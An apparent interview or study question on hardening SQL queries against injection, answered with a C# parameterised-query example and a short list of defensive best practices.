10. **How can SQL queries be made more resilient to SQL injection attacks? Provide examples of best practices.**
    - **Best Practices:**
        - Use parameterised queries to ensure that user inputs are treated as data and not executable code.

          SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE username = @username AND password = @password", conn);

          cmd.Parameters.AddWithValue("@username", userInputUsername);

          cmd.Parameters.AddWithValue("@password", userInputPassword);

- Use stored procedures that encapsulate SQL logic.
- Use Object-Relational Mapping (ORM) tools that abstract SQL queries.
- Properly escape any user input if parameterised queries are not possible.
- Regularly test for vulnerabilities and conduct code reviews.